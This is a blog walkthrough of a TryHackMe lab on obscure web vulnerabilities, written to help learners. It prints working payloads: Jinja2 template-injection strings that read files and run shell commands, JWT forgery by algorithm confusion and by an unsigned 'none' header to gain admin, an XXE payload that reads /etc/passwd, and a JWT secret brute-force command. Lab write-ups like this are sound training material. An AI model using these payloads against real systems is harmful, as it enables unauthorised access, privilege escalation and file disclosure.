Write-Up: TryHackMe Web Fundamentals - ZTH: Obscure Web Vulns
Tobias Urban
Posted on January 5, 2022
Write-Up: TryHackMe Web Fundamentals - ZTH: Obscure Web Vulns
This is a walkthrough through the TryHackMe course on Obscure Web Vulnerabilities and aims to provide help for learners who get stuck on certain parts of the course.
Agenda
- Section 1: SSTI
- Section 2: CSRF
- Section 3: JWT Algorithm vulnerability
- Section 3.5: JWT header vulnerability
- Section 4: XXE
- Bonus Section: JWT Brute-Forcing
Section 1: SSTI
This walkthrough uses the manual approach to receive the flag.
When you connect to the demo application, you can check that the site is vulnerable for SSTI attacks by typing in {{3+3}}
. If the site returns 6
instead of the literal {{3+3}}
, you know that the page just interpreted your statement.
Now that we know we can inject statements, let's use this to read out the hidden flag. As specified in the challenge, the flag is stored under \flag
, so all we have to do is read out the file with the command provided:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read() }}
or via command line injection:
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
P.S.: If you want to look up other injections, read through the provided repository. This project is using the Jinja2 templating engine.
Section 2: CSRF
This section does not have an actual challenge, but it requires you to get familiar with the xsrfprobe
library. You could either install the library to your device and use xsrfprobe --help
to find the right argument for generating a POC, or use the official documentation from the web. Hint: Find out which command would let you craft an actual, malicious request.
For the practical "challenge", you could build a simple website which authenticates users via GET request and stores the session in a cookie. Then try from another page to GET your existing page and observe in the network traffic that your second page can make authenticated requests on behalf of your user.
Section 3: JWT Algorithm vulnerability
This is probably the toughest section in this whole room, so don't get frustrated if it might takes several tries to get this done!
To recap the exploit, the basic idea is to take a token which was signed with using RS-SHA (and therefore a secret, hidden private key) and transform it into a token signed with HS-SHA, which uses a shared secret (public key). If the receiving application doesn't differentiate between RS-SHA and HS-SHA and if the server creating the tokens uses the same keys, this means we can forge any token and trick the system into believing it is legit.
As every token issued in the lab has a lifetime of only two minutes, you will have to complete all steps necessary in that timeframe. I would recommend preparing the "static" parts and then getting a new token and running through all "token-specific" steps.
First of all you will need to get and prepare the public key. You can download the public key under /public
, and once you have downloaded it you can convert the key into HEX using this command (in an UNIX/Bash shell):
cat ./public.pem | xxd -p | tr -d "\\n"
Copy and paste the resulting string as we'll need that in a bit!
Next up let's look at the JWT token itself. If you take the token the lab prepared for you and parse it (for example by pasting it into jwt.io), you will see a header which specifies that RS-SHA256 was used for the signature. What you want to do is create a new token header which specifies that we want to use HS-SHA256. You can do this right in jwt.io by changing "RS-SHA256" to "HS-SHA256". Note that this part is the same for all tokens we will generate. So you can copy it out and we have the first third of our token ready!
Now you should have a really long string resembling your public key in HEX as well as a base64 encoded string resembling your token header. All that is left now is re-generating the signature and crafting the final JWT token. To create the new hash, the room already gives us the right command:
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.your-token-body" | openssl dgst -sha256 -mac HMAC -macopt hexkey:your-key-in-hex
your-key-in-hex
is the same for every token we will generate, so the only token-specific info we need to inject is the body of our current token (you don't need to change anything here, but every token will have a slightly different body). This should give you another string which already resembles our final hash.
In order to fit into our JWT token, we need that hash in a Base64 format though. Make sure you have python installed on your device and run the following command:
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('hash-from-last-step')).replace('=','')\")"
Now we just put everything back together and we have our finalised token. It should look something like this:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.payload-from-original-JWT.Hash-from-last-step
Section 3.5: JWT header vulnerability
To get started, sign in with any account and find the JWT token securing your session in the cookies (the cookie is called token). Copy that JWT token and paste it into jwt.io. In your payload, you will see an attribute "role" where you should set the value to "admin".
Right now though, the token would be invalid as the signature doesn't match the token anymore. Therefore we also have to change the header and specify that the token shouldn't have a signature all together. As jwt.io won't let you change headers of a token, just replace the current header with eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
. Decode this base64 string to make sure you understand what we are doing here.
Now put your token back together, which should look something like this: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.new-body-with-role:admin.
(Please note the trailing .
. You will need this in order to create a valid JWT token)
Copy that new token and replace your current "token" cookie with that new JWT token. If you now re-load the page you should be signed in as an admin!
Section 4: XXE
Make sure you have Burp Suite, OWASP Zap or a similar tool installed for this challenge as we will have to change the request structure in order to achieve the challenge.
When you open the form, submit it with some random values. Give each field a unique value so that you can easily see which value will be echoed in the pages output. This should reveal that the value of the email field is posted in the page, so this is the value we'll look at closer. Do another request and intercept it in your tool of choice so we can modify the payload.
In the challenge, we are asked how many users exist on the target server and what user has the specific ID "1000". Remember that the "/etc/passwd" keeps track of every single user in the system and also references the unique user ID, so this file is all we really need.
First off we need to define a new XML variable that we can display in the email field. In this challenge we are interested in the "/etc/passwd" file of the server. Define a new variable like this:
<!DOCTYPE data [ <!ELEMENT data ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
and call it like this:
<email>&xxe;</email>
Your full payload should look like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!ELEMENT data ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>aa</name>
<tel>aa</tel>
<email>&xxe;</email>
<password>aa</password>
</root>
Sending the request with this modfied payload should reveal the "passwd" file. Copy this into a text editor for easier reading, count the entries (each line is an entry) to get the number of users and search for the user with the ID "1000".
Bonus Section: JWT Brute-Forcing
This section is really straight forward. Install the jwt-cracker
library on your device and then run jwt-cracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz 4
to crack the actual password.
We know from the answer pattern that we're looking for a string with 4 characters, so make sure to specify this number as otherwise the tool will try 26^12 combinations instead of 26^4 combinations, which is a lot more! (You do the math, but not specifying the secret length will result in 20 billion times more operations, or put differently you'll spend quite some time staring at your screen).
Wrap-Up
I hope this write-down could help you understand some of the more complicated parts of this lab. If you have any feedback, questions or suggestions please comment it under this post!
Posted on January 5, 2022
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.